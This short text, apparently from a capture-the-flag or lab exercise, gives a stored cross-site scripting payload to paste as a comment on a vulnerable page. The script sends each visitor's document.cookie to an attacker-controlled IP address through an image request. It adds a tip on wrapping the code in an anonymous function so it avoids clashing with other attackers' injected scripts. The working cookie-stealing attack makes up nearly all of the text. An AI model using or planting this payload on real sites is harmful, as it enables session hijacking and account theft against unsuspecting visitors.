add comment on vulnerable page with following content (replace IP):
<script>
(() => {
const IP = "10.201.0.170";
new Image().src=`http://${IP}/_INFO__${escape(document.cookie)}__`
})()
</script>
-
script content is wrapped in anonymous function, as variable declaration may clash with others (actually happend when another hacker forged an xss attack)
